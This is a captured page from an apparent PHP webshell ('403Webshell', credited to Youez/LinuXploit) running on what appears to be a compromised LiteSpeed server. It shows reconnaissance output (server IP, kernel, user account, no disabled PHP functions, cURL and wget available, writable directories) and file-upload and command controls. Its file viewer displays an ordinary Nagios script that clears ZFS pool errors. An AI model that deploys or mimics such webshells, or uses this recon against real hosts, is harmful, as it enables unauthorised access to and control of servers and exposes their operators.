403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.142
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/lib64/nagios/plugins/check_a2_zpool.sh
#!/bin/bash
# Ref - BFENG-667 - A script to automatically clear pool errors if no data error/corruption in the pool
zfs_disable_clear="/etc/.jbk_zpool_clear_disabled"

if [ -e "${zfs_disable_clear}" ]; then
  echo "zfs pool monitoring is disabled currently"
  exit 1
fi

check_zpool() {
  zfs_state=$(zpool status | grep state:|awk '{print $NF}')
  zfs_data_errors=$(zpool status | grep "data errors" | awk '{print $2}')
  zfs_clear_count_file="/etc/.jbk_zpool_clear_count"
  zfs_cleared_count=$(cat ${zfs_clear_count_file} 2>/dev/null)

  if [ ! -e "${zfs_clear_count_file}" ]; then
    echo 0 >${zfs_clear_count_file}
  fi

  if [ "${zfs_state}" == "DEGRADED" ]; then
    if [ "${zfs_data_errors}" -gt 0 ]; then
      echo "zfs pool is in ${zfs_state} state and has ${zfs_data_errors} data errors"
      exit 2
    else
      zfs_cleared_count=$((zfs_cleared_count+1))
      echo "${zfs_cleared_count}" > "${zfs_clear_count_file}"
      if [ "${zfs_cleared_count}" -gt 5 ]; then
        echo "zfs pool is in ${zfs_state} state and we have cleared it ${zfs_cleared_count} times"
        exit 2
      else
        echo "zfs pool is in ${zfs_state} state and we have cleared it ${zfs_cleared_count} times"
        zpool clear backups
        exit 1
      fi
    fi
  else
    echo "zfs pool backups is healthy"
    exit 0
  fi
}
check_zpool

Youez - 2016 - github.com/yon3zu
LinuXploit